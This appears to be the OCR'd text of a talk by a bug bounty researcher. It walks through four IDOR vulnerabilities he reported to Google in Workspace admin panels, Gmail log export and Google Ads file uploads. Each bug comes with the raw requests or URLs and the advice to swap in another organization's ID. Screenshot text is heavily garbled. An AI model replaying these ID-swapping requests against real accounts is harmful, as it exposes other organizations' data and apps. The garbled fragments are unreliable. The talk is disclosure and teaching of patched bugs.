Google Give Me Vulnz






« Cameron Vincent — Vulnerabilities and Mitigations team within MSRC (Microsoft
Security Response Center)

« Former Full Time Bug Bounty Hunter

« Ranked #1 Researcher for Google VRP Program in 2019



What was the vulnerability
type | was finding?



IDOR = Insecure Direct Object Reference

* https://secretdocuments.com/id=12345

* https://secretdocuments.com/id=123456789

« Put a different ID and see if you can access data you are not allowed to access.


https://secretdocuments.com/id=12345
https://secretdocuments.com/id=123456789

IDOR = Most Common Bug | Found Across

Google

Total IDOR Findings (Across all Google Products)

#|IDOR wCther



2017
A01:2017-Injection
A02:2017-Broken Authentication
A03:2017-Sensitive Data Exposure
A04:2017-XML External Entities (XXE)
A05:2017-Broken Access Control
A06:2017-Security Misconfiguration
A07:2017-Cross-Site Scripting (XSS)
A08:2017-Insecure Deserialization
A09:2017-Using Components with Known Vulnerabilities
A10:2017-Insufficient Logging & Monitoring

2021
A01:2021-Broken Access Control
A02:2021-Cryptographic Failures
~»A03:2021-Injection
(New) A04:2021-Insecure Design

.= A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated Components
A07:2021-Identification and Authentication Failures
, (New) A08:2021-Software and Data Integrity Failures
/ A09:2021-Security Logging and Monitoring Failures*

(New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey




What is Burp Suite?



Burp Suite = Golden Toaol

Web application
security testing tool.

Burp Suite lets you
see and manipulate
browser traffic being
sent to the backend
of a service.

Repeater tab is going
to be your best
friend.




Burp Suite = Golden Toaol

Imagine sending

an email on
Outlook.

Browser makes
it look all pretty
but Burp Suite
shows you
what’s going on
in the
background.




Burp Suite =
Golden Tool

ooard Target Proxy Intruder Repeater Collaborator

|
{

|
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3 = 4 x 5 x 6 x T = 8 = 9

Hex \n

"FieldURI": *Recipients"
b
"Item":{
"__type":"Message: fExchange",

"BooRecipients": [
1
}

"__type":"SetItemField: #Exchange",
"Path":{
"__type":"PropercyUri: Exchange",
"FieldURI":"Subject"
b
"Item":{

__type":"Message: #Exchange",
"Subject":"Test"

¥

" type":"SetItemField: #Exchange",
"Path":{
"__type":"PropercyUri: Exchange",
"FieldURI": "Body"
b
"Item": {
"__type":"Message: fExchange",
"Body": {
"BodyType": "HTHML",
"DatalUriCount":0,
"Value":
"<html><head=><meta http-ecquiv=""Content-Type
tent=""text/html; charset=UTF-8""><style type

®

Sequencer Decoder Comparer Logger Organizer Extensic
10 = 11 x 12 = 13 = .
Response

xt/fess) " style='"display:none; "> P {margin-top:0;
margin-hottom:0;} </style></head><body dir=""ltr
*<div style=""font-family: Aptos, Aptos_EmbeddedFo

nt, Aptos_MSFontSe ce
serif; font-sime: 12pt; color: rgb(O, 0O, 0O);\"

ss=""elementToProof  ">*Test</div></body></html>"

" type”

"Path":{
"__type" PropertyUri: #Exchange",
"FieldURI": "Importance"

T

"Item": {

"

"SetItemField: #Exchange",

type": "Message: fExchange"

a

» Calibri, Helwvetica, sans-

cla

ATUWATLCULLELALLULILW, HoD

Pretty Raw Hex

SRTHOIOTddUST _dBUT I J0dd3 1 OD
» ¥-Backend-Begin: Z023-05-21T1&:0&:04.488

- ¥-Backend-End: Z0I23-09-Z1T1l&E:0&5:04.E59

¥-Diaginfo: SN4PRIZLI0O1MEOTZS

¥-Beserver: SN4PRZI01IMEO735

H-Ua-Compatible: IE=EmulateIE7
¥-Proxy-Routingcorrectness: 1
H-Proxy-Backendserverstatus: 200

X-Feproxyinfo: MNIPRISCAODZZ . NAMPED1S. PROD.CUTLOOK. COM
H-Feefzinfo: MNZ

X-Feserver: SALPIIZICAD171

Report-To:
{"group HelGfficeUploadl", "max_age": 7200, "endpoints":
tps://exo . nel measure. office net/api/report? TenantId=72
—4laf-9lab-2d7cd0lldb47aeFrontEnd=CafeiDestinationEndpoi
include_subdomains":true}

Nel:

{"report_to":"NellfficeUploadl", "max_age": 7200, "include
":true,"failure_ fraction":1.0,"success_fraction":0.01}
H-Firsthopcafeefz: MNZ

X-Feserver: MNZPRLISCAODODZZ

Date: Thu, Z1 Sep 2023 1l&:0&:03 GMT

"Header":{
"ServerVersionInfo":{
"MajorVersion":15,
"MinorVersion":20,
"MajorBuildiumber": 5838,
"MinorBuildiumber":10,
"Version":"V2I0l8_01_08"
I
te
"Body": {
"__type":"UpdateltemPesponse: FExchange",
"Responselessages": {
"ITtems": [
{
"__type":"UpdateltemPesponseMessage: FExchange
"ConflictResults": |
"Count":0
Y.
"Items":null,
"ResponseCode"
"ResponseClass"

ToError"

uccess"




Burp Suite = Golden Toaol

C———— > ooo0

https://...

GET/my account Host:...

=
A\
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Browser

3

i

Burp Suite

3

Website




Burp Suite = Golden Toaol

* There are extensions to help automate finding IDORs with Burp Suite.

 All my testing was manual so that is what we are focusing on today.



What 2 Google products did |
find these vulnerabilities on?



Google
Workspace

Google Ads




oogle
Workspace




What is Google Workspace?

“Google Workspace plans provide a custom email for your business and include
collaboration tools like Gmail, Calendar, Meet, Chat, Drive, Docs, Sheets, Slides,
Forms, Sites, and more.”



https://workspace.google.com/business/new-business/

M Admin console

& - C & htips://admin.google.com/AdminHome?hi=en_GB

Q lceWarp Server Ad... Manage IIS on a Co...

= Google Admin

Q, Search for users, groups, and settings (e.g. turn on 2-step Ve

Admin console

Dashboard

See relevant insights
about your domain

7

Reports
Track usage of services

Users
Add or manage users

=

Billing
View charges and
manage licences

s
Set up billing for G Suite

Your free trial ends in 1 days. Please set up billing in order to continue accessing G Suite after trial

SET UP BILLING
==
. . o e «
= hatle
Groups Buildings and
Create groups and resources
malling lists Manage and monitor
buildings, rooms and
reSources

d-

Company profile Admin roles

Update information
about your company

Add new admins

serv&PHENE Fom

Device management

Secure corporate data
on gevices

Domains

Verify your domain or
add domains

»

Apps
Manage apps and their
settings

Data migration

Import emall, calendar
and contacts

»

Security
Manage security
features

Support
Talk 10 our support
team




What is Google play console?

“PUBLISH YOUR APPS AND GAMES WITH GOOGLE PLAY CONSOLE

AND GROW YOUR BUSINESS ON GOOGLE PLAY.”




}’ Google play \ Developer Console PREVIEW

= All applications

i Reports

L Settings

== Add new application

ALL APPLICATIONS

APP NAME

! The big blue

.4@ The Handy Developer Guide
! The big green

! The big red

E The big yellow

5 The little pink

B The little red

O\

blu|

PRICE

Free
Free

Free

Free
Free

Free

The big blue

com.consoledemo.bigblue

The little blue

com.consoledemo.littleblue

ACTIVE INSTALLS AVG. RATING/TOTAL

12

756

136

3,672,387

7,452,652

2412

% 5.00 / 1

* 5.00 / 2

» 5.00 / 1

* 5.00 / 1,986,412

% 3.33 / 335

Page 1 of 7

ERRORS LAST UPDATE

14

119

@google.com

Aug 15, 2012

Sep 26, 2012

Dec 3, 2010

Jan 18, 2012

Jun 14, 2012

Dec 8, 2010

> Go to page

Sign out

STATUS

Unpublished

Published

Draft

Published

Unpublished

Published

Published

Go




Google Workspace Updates

This official feed from the Google Workspace team provides essential information about new features and improvements for Google Workspace customers.

Organize and create apps for your domain directly from the

Admin console
Monday, November 12,2018

Q. Searchblog...

@ Fifter by product v

With this launch, we're making it easier for you to create—and for your users to find—the B Filter by date v

Android apps they need at work.
Subscribe by feed




Google Play/Google workspace

« Admins are allowed to publish private apps into their organization.
« Once published users in the organization can download the apps to their devices.

« Simply upload your APK file to the admin console and then users in your
organization can download the app to their android devices.



Bug #1

 Possible To Gain Access To Every
Gsuite (Google Workspace)
Organizations Managed Google
Play Store Admin Panel.




admin.google.com

X Add apps from Google Play

B Google Play

Your email address is im.plum12@gmail.com

Private apps

Google Jj fg

Not available yet Not available yet Not available yet

fof

Not available yet

frg

Not available yet

Incognito




21 = 22 x P e 24 = 25 = 26 = 27 = 28 = 29 = 30 = 31 = 32 = 33 = 34 = 35 =
m €8} | cancel <|v| Target: https://admin.googlecom /7  HITR2 (2)
Req est . l = B - =
o2 Response Inspector w = - © X

Pretty Raw Hex = N = Pretty Raw Hex Render . \n = Seledti 354 [Ox162 ~

SgldPJXTASSEFEKNUIrHYS 1UB ldlyBoxBNIVVUETKIRyUSTGalocUStxgdUS LK Eplren SutfmsSWnyY; explires=ded, L8-Sep-UZ4d UUIUL:I5T GHMI; path=/; £ EEHIG ( )

sEeTinPezdltdlixyFnvhZZUlITHoeuDnKloecAuyeZF3vG3ce; ga MESLEPTGEEM= domain=_google.com; Secure; Httplnly; priority=high

L = Selected text

GS1.1.1655081830.1.0.1695081830.0.0.0; _ga=
GAl.1.102£915310.1636751891; SIDCC=
APoGIW_FGEZgS43j5QWCIRISEnPewr:KrugABESo SBus4Uiyvnlive Gg-MOhWXLgRbO3T77
ZpOF8yHlg; _ Secure-l1lPSIDCC=

APoGIWS-yihL_ al0MM{3vHII8gNOheiwBURSTLSpoTlwYdCoZxyWnxQAHR sg-VHrs
15kbJzCBw; _ Secure-3PSIDCC=
APoGIW_OrGO8dTfiP0cE_hSESnOCKh31I_GZO0bWWhiYCGkeTwtociht-8LBkKDSESS3rkyr

gOxIIvhQ
Content-Length: 409
S Sec-Ch-TUa: "Chromium";w="11&", "Not)A;Brand";v="24"  "Google

Chrome" ;wv="1186"
¥-Same-Domain: 1
Sec-Ch-Ua-Mobkile: 70
User-Agent: Mozilla/s5.0

o

-]

(Windows NT 10.0; Win&4; x&4)

AppleWebKit /537.36 (FHTML, like Gecko) Chrome/116.0.0.0
Safari/537.36
S Sec-Ch-Ua-Arch: "x8g"
10 Content-Type: application/x-www-— arset=UTF-8

1l Sec-Ch-Ua-Full-Version:
12 Sec-Ch-Ua-Platform-Version:
2 Sec-Ch-Ua-Full-Version-List:

"Not ) A;Brand" ;wv="24_0.0.0",

"1316:.0..8
"15.

"Ch
"Goo

g45_188",
.0.5845_ 188"

14 Sec-Ch-Ua-BEitness: "g4"

15 Sec-Ch-Ua-Model: ""

1€ Sec-Ch-Ua-Wow&4: 20
Sec-Ch-Ua-Plat form: "Windows"

Accept:
Origin: https://admin_ google. com
¥-Client-Data:
CIulyJEIorhJAQipncoBECEzDb
EI4MTHAQiSysOBCLEfL=QEICE3
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec—Fetch-Dest: empty
RPeferer: https:/ /admin.google. com
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;g=0_.9

*

f. reg=
3 5E%5B% 5B 2 2tnTm0ds 0% CC$ 208 5B 5C% 2 200=)0hggs SC$ 2% 2CE5C% 2 Cheeps:3
A%2F%2Fadmin. google.  com% 2Fu% F2 % FactFchrome$ 2Fapps$ Fuser$3Frapt
% 3DAEJHL4PRQ1O0EpGeJubhJrSxh-wHy 7Y ZbhyvEb 1bRvGaF1R=5 fACFQWQ fKevIgd3V
ojUazxwafL7824XUqIufc ANTLEEXHZh4 fgRwiZEac_ouid%¥3D03phB8alz0visnxgs 5C
$220%2CnullsCC$5E% 5B 5C2203ph8ale0visnxgs SC¥ 2% 5D 5D$ DS 223 2Cnalls
2C322generic$22%5D%5DsSDsat=
AFDHItP-OrHsevYNtBEaABEa41lbeS8%2A1E950818284694

@ @ (i\ ‘ :)\ ‘ Search 0

Done

0 highlights

20 Set-Cookie: _ Secure-3PSIDCC=
APoGIWSEwVIRSHPTEsmIz7880P1l5RaSpWZhile Esrnl fABgLERZPwipXdhD f-tTig
HnelhttQ,; expires=Wed, 18-Sep-2024 00:05:5Z2 GMT; path=/;
domain=_google.com; Secure; Hotplnly; priority=high; SameSite=none
Alt-Svec: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

$5B%5SE%5B322tnTm0ds 2% 2C%22% 5B
$5C%2200=j0hgg%¥ 5C%22%2C%5C%2Ch
ttps33A%2Fi2Fadmin. google. com$
2Fu%F2%2Fac3Fchrome¥2Fapps$Z
Fuser$3Frapt$3DAEJHL4PRQULOERGe
JubhJr Sxh-wHv 7Y ZhyvFh 1L BEvGaF 1R
' =L fACFUWQ fKevIgd3VojUasxwafL78
24XUgJuft ANTLE88KZh4 fgRwil6ac_o

—

s

s See more W

o

tuwrboEE,

tmimied, Decoded from: URL encoding Q@
"V WAGYpox4dgMiB8dbTrhbI3USNyEE7C2SuMs 8 ZWNCCOZy vt st sAD23RSLIVEY
AErSPOhrYORGHN3qiGeAxFpkSGs fgeSERVwuYouTWelylEECek S1EFapafSAQLT [[["tn7m0d"," [, "00z30hga.", " "h

AvFi0TwZalceydZgPRnEILllhank g8 RLN-FHvsgUURFTt8DewYgqloocsyHrWkw
X1PHuonolSbyLtelZQ6rD3THRIMUSLIVRASEiZ2aDyg SpYSNaQ8IYIMDGACIIY
LCEQtEDLEbzZAFqmTP 70 4A4dNEXKGETWEhykNzxJTAIZSToFRISQD _nFUDrlca
UDz7_espjufWiufE6jEEsKrWek 2 -CUcyoRHNzUWIYRCT7gBBA " " "https: //
admin. google. com/u/2/ac/chrome/apps/user?rapt’ "ul003dAEjJHL4PROL
OEpGoJubhJr Sxh-wHv 7Y EZbyvwEDb lbREvGaFlReS fdCFQWQ fKevIqgd3Vo jUasxwat
L7824XUgIuft ANThLEBEXEZNh4 fghw' "ul0ZEac_ouid' " ul03d03ph8alz0visnxqg

Wy,

ttps: /fadnin. google. com/u/2/ac
JSohrome /apps/user?rapt=AEjHL4P
RQlOEpGoJubhJrSxh-wHv7YZhywEDb 1L
bRvGaFlRzSfdCFOWO fKevIqd3VojlUa
sxwafL78l4UgIJuft ANTLEE8XZh4 fgR
wiac_ouid=03ph8alz0vlsnxgt" , nu
11, [[%"03ph8alz0v0snxg "]111" ,n

null, See more W
null,
null,
"generic" Cancel Apply changes
1.
[
"dit, Request attributes 2 v
&1l0
1.
[ Request query parameters 12 e
"af _httprm",
&10; Request body parameters 2 b
"-28951501654884071%27" ,
18
] Request cookies 28 4
Request headers 05 %
[
& r Response headers 20 Wt

4

@ {‘é} Z 3 Search 2

0 highlights

2,417 bytes | 654 millis




« POST
/_/DpanelChromeUi/data/batchexecute
?rpcids=tn7mO0d&f.sid=-442934382135
7402966&bl=boq_dpanelchromeuiserv
er 20190926.03 pO0&hl=en&customer
iId=00zj0hgq&soc-app=596&soc-platfor
m=1&soc-device=1& reqid=404704&rt
=c HTTP/1.1
Host: admin.google.com

e f.req=[[["tn7mO0d","[\"00zj0hgqg\",\"https:/
/admin.google.com/ac/chrome/apps/us
er\"]",null,"generic"]]]&at=



http://admin.google.com/

POST Welcome
| want to /_/DpanelChromeUi/data/batchex to your

access my ecute? admin
apps admin panel!

f.req=[[["tn7m0d","[\"00zj0hgq\",\"

0 (e
Workspace



Add apps from Google Play

’ Google Play

B

= & Private app

(1] Maoenum 50 charactors
"t Title gfntel

APK file ‘ 10 comwwi112sad_9322709 edn

&
Advanced editing options
Add a detailed app description, screenshot, and more in the Make advanced ediis

Google Play Console
Google Play Console




‘/‘ Google play \ Developer Console PREVIEW

= All applications
«l1 Reports

L Settings

-+ Add new application

ALL APPLICATIONS

APP NAME

! The big blue

Q‘/} The Handy Developer Guide
E The big green

& The big red

g The big yellow

5 The little pink

B The little red

Q,

biul|

PRICE

Free
Free

Free

Free
Free

Free

The big blue

com.consoledemo.bigblue

The little blue

com.consoledemo.littleblue

ACTIVE INSTALLS AVG. RATING/TOTAL

12

756

136

3,672,387

7,452,652

2,412

» 5.00 / 1

* 5.00 / 2

w 5.00 / 1

* 5.00 / 1,986,412

% 3.33 / 335

Page 1of 7

@google.com

ERRORS LAST UPDATE

14

119

341

Aug 15, 2012

Sep 26, 2012

Dec 3, 2010

Jan 18, 2012

Jun 14, 2012

Dec 8, 2010

| 2 Go to page

Sign out

STATUS

Unpublished

Published

Draft

Published

Unpublished

Published

Published

Go



www:Bandicamicom # =% PR G _paused@@

< &
Google Admin Q  Search for users or settings
Device management > Chrome > Apps & extensions
<+ Search or add a filter
<

~ Self-Employed
€ ploy Avp

Allow users to install other apps & extensions

CamsScanner - Scanner to scan PDF
CS

& com.intsig.camscanner

MANAGE ORGANIZATIONAL UNITS

WHAT'S NEW

Installation policy

Targe

Allow other apps & extensions from the Chrome Web Store only

Inherited from Google default

Allow install

Locally added




admin.google.com

X Add apps from Google Play

B Google Play

Your email address is im.plum12@gmail.com

Private apps

Google Jj fg

Not available yet Not available yet Not available yet

fof

Not available yet

frg

Not available yet

Incognito




Supply Chain Attack

 You could have accessed any Google Workspace organizations apps admin panel
and pushed your own application to devices.



Y

Company A

. g

Uses Google Workspace

Publishes private internal app to their organization.



-

Attacker logs into company A’s Attacker releases a new “version” for the private internal
Google Workspace admin panel. apps already published and installed on user’s devices.



Bug #2

» Possible To Leak The Emaill
Subjects/Logs For All Gsuite (Google
Workspace) Organizations.




« Gmail stores logs for all stages of a message. This includes logs like the delivery
process, subject, and other types of metadata.

 To view these Google Workspace has a function for admins to setup a BigQuery
project for the logs to be stored to and viewed.



-2 -1 LI tt0s://admin.google.com/ac/apps/gmail/setup?hi=eny e e B A0 * 4 R m r @

Google Admin Q  Search for users, groups or settings

Apps > G Sulte > Settings for Gmail > Setup

10 ALT4. ASPMX.L.GOOGLE.COM
M Gma'l MX setup instructions
User email uploads Show users the option to import mail and contacts from Yahoo!, Hotmail, AOL, or other webmail or POP3 accounts from the Gmail

Status settings page. Learn more: OFF

ON for everyone

Email Logs in Blgouety Configure a BigQuery project o directly access email delivery logs Learn more
dble
Description *
dfgdfd
Select a project to be used by Google to store emall logs. Ensure that access to this BigQuery project is limited to authorized users
nnnn-59545 -

Specify the name for a new dataset to be created within your project

gmall_logs_datasetbfvbvbdd

[ Restrict the dataset to a specific geographic location

Select a location




Bug #Z2

« POST
/_/GmailAdminSettingsUi/data/batchexecute?rpcids=rsN7uc&f.sid=-335110978588
5481808&bl=boq_gmail-adminsettings-ui 20191209.02_p0&hl=en&customer id=0
Ogrri8mé&_reqid=458791&rt=c HTTP/1.1
Host: admin.google.com

 f.req=[[["rsN7uc","[\"00zj0hgq\",[32],[null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null, null,null,null,null,null, null,null, null, null, null, null,null, null, null, null, null,
[true,\"nnnn-59545\" \"gmail_logs_datasetbfvbvbdd\",\"dfgdfd\",0,[[\"nnnn-59545\"
alse]],[\"nnnn-59545\"1 \"\"]L,[[\"\"]]]",null,"generic"]]]



» Put any Google Workspace org ID and you will save your Google Cloud
project/dataset on their settings and receive their logs.



What is Google Ads?

Google Ads lets you advertise your business, website, promotional

videos, etc. across Google.




= *Search MCC > 1 Anicca: 920-624-7834

Overview
Recommendations

Impressions ¥

68.3K

Search campaigns Campaigns

Ad Groups
Display campaigns

Video campaigns Ads & extensions
Videos

A 1. New - PPC Landing pages
management UK

2018 - Google Analytics Keywords

Courses 20 Apr 2018 yy 2

Audiences
2018 | Remarketing

Demographics ) ]
2018 | Services | Digital Biggest changes sty § Campaigns 3
Marketing Topics Last 30 days compared to the prior 30 days (®

Cost ¥ Clicks ¥ CTR~

2018 | Services | RLSA

Placements v Services | SEC -£105.96 ® 2018 | Services | Digital 55 ;

seo services 66.56% Marketing o )

2018 | Services | SEO

Setings <0181 SeIvicen | S¢L -£94.89 @ 2018 Services | SEO 26 :

T seo company 65.66
1 campaigns J
Locations

2018 | Remarketing - +F?0§6 @ 2018 | Remarketing £12733 124 0.20

” Siaiiaiaadt £48.82 5 1,61

Ad schedule

Serv

seo agency

Devices management UK
18 | Services | Digital M -£51.76 7 e
Advanced bid adj. Digital Agency 100.00 L] £30.08 15 4.79%
ALL CAMPAIGNS > Page 10of 5 v ALL CAMPAIGNS > Page 1 0of 2 v
Change history
Drafts & Search keywords : Searches @ ortby: Impressions v 5

experiments

Cost v Rv SEARCH TERMS WORDS



Google Ads

» Google Ads Bulk Upload Feature

* Download pre-created templates and then make bulk changes to your ads
account.



Campaigns

Edit Campaigns Budget Amount =

Edit Campaigns Languages =

Apply/Remove Labels on Campaign(s) =

Edit Campaign(s) Start/End Date =

Edit Campaign(s) Name &=

Create New Campaign(s) =

Edit Campaign(s) Inventory Type (Video) =

Delete Campaign(s) =

Pause/Enable Campaign(s) &=

Edit Campaign(s) Devices Settings =

Ad assets

Create Sitelink Asset =

Create Call Asset =5

Create App Asset 3

Create Callout Asset =

Create Structured Snippet Asset 5

Create Price Asset =5

Create Image Asset =

—_— —_—— - = ——-




Bug #3

 Leak All Uploaded Files On Every
Google Ads Account!

« Remember Burp Suite?




Bug #3

« POST
/aw_cm/_/rpc/BulkExecutionService/List?authuser=0&acx-v-bv=awn_cm_ 2018101
/_RC03&acx-v-clt=1540487931567&rpcTrackingld=BulkExecutionService.List%3
A6 HTTP/1.1

» Host: ads.google.com

« POST
[aw_cm/_/rpc/ExecutionDetailService/List?authuser=0&acx-v-bv=awn _cm_ 201810
17 _RCO03&acx-v-clt=1540493607856&rpcTrackingld=ExecutionDetailService.List
%3A1 HTTP/1.1

* Host: ads.google.com



POST

Hey! | want /faw_cm/_/rpc/BulkExecutionService/Li Ui A
(tao Ioald ;\ndy st your files!
oogle Ads
Fﬁes! _ar={"1 |I:{Il3":{"1|I:l|241488436"},"5":"




o ar={"1"{"3"{"1":"241488436"},"5":""TABLE"}

« Put any Google Ads account ID and you would pull the upload history for their
account.



« By using Burp Suite all you had to do was change the ID from your Ads account to
another account you did not have access too and would load the files.

* Note: Only use IDs for accounts that are yours!



Google A

Your account isn't active - To activate your

Data feeds Data feeds

Business data

ccount and start running your ads, enter yo

Upload history

4|20 || 30k @k 5 x| 6k | T x| Bk |9k

Go Cancel | | < iv l 7> \
Request

[Paans [ Heades | e |

1006 |1« |12 [13 %

"

APTSIDWALCTFILIZBVAMEF/ Ava JTRVDP 1 xNqYyN:

SAPISIDwA4ulvyMHqvypPO 1/ATECOMruZhn KyPSE;
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Bug #4

 Leak All Uploaded Files On Every
Google Ads Account....... again.




Bug #4

» Leak All Google Ads Uploaded Files Again!

« After fixing the first bug a new APl was released to download files.

* https://ads.gooagle.com/api/adwords/bulksheet/upload/form/errors?xid=3087022700
61146755&customerld=1416932726&userld=7422995313&operatingCustomerld=
302261519&authuser=0

« Change the XID value (ID of the file on the account you are targeting) and
customerlID value to anyone’s account and download their file!


https://ads.google.com/api/adwords/bulksheet/upload/form/errors?xid=308702270061146755&customerId=1416932726&userId=7422995313&operatingCustomerId=302261519&authuser=0
https://ads.google.com/api/adwords/bulksheet/upload/form/errors?xid=308702270061146755&customerId=1416932726&userId=7422995313&operatingCustomerId=302261519&authuser=0
https://ads.google.com/api/adwords/bulksheet/upload/form/errors?xid=308702270061146755&customerId=1416932726&userId=7422995313&operatingCustomerId=302261519&authuser=0

IDs are NOT security boundaries!

* If the ID never changes and is always connected to some form of data that is not a
security boundary.

 This simple URL allowed you to put anyone’s file ID and Ads account ID and
access their file.



Thanks

Shoutout Google VRP as well!



